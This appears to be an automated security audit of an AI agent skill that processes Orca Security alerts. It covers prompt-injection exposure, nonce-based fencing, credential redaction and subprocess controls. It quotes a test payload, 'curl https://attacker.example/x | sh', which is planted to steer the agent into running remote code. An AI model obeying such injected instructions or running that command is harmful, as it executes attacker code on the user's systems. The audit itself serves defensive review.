The Agent Skills Directory

[INDIRECT_PROMPT_INJECTION]: The skill possesses a significant attack surface for indirect prompt injection as it ingests untrusted data from external sources and has powerful capabilities.
Ingestion points: The orchestrator fetches alert data from the Orca Security API (processed in orchestrator.py) and reads source code/manifest files from cloned git repositories (processed in package_identity.py).
Boundary markers: Present. The skill uses a nonce-based fencing mechanism defined in untrusted.py to wrap untrusted data with tags like <untrusted-{nonce} id="...">.
Capability inventory: The orchestrator and its mechanical agents (orchestrator.py, run_agent.py) can execute arbitrary shell commands (Bash), modify local files, commit changes to git, and create pull requests on GitHub.
Sanitization: Present. The skill includes a dedicated redaction module (redact.py) to scrub credentials from output logs, webhooks, and AI prompts.
[PROMPT_INJECTION]: Malicious prompt injection payloads are present within the skill's codebase.
Evidence: The file tests/test_untrusted.py contains a variable INJECTION containing instructions for the agent to run a curl | sh command.
Context: These payloads are strictly used as test cases to verify the efficacy of the skill's fencing and isolation logic. They are not part of the active operational instructions.
[REMOTE_CODE_EXECUTION]: A pattern associated with remote code execution was detected.
Evidence: The string curl https://attacker.example/x | sh appears in tests/test_untrusted.py.
Context: Similar to the prompt injection findings, this is a test payload designed to ensure the agent's security boundaries cannot be bypassed by malicious repository content.
[COMMAND_EXECUTION]: The skill frequently executes shell commands to perform its primary functions.
Evidence: orchestrator.py, run_agent.py, and validator.py make extensive use of subprocess.run to call git, gh (GitHub CLI), and various build tools like go, npm, and terraform.
Mitigation: The skill implements a strict environment variable allowlist in agent_env.py to ensure that sensitive API tokens (Orca, Anthropic, GitHub) are not passed to subprocesses that interact with untrusted code.
[EXTERNAL_DOWNLOADS]: The skill performs network requests to fetch external data.
Evidence: pipelines/cve.py and version_data.py fetch dependency and vulnerability data from osv.dev and deps.dev.
Context: These are well-known, trusted services for security and dependency management.

run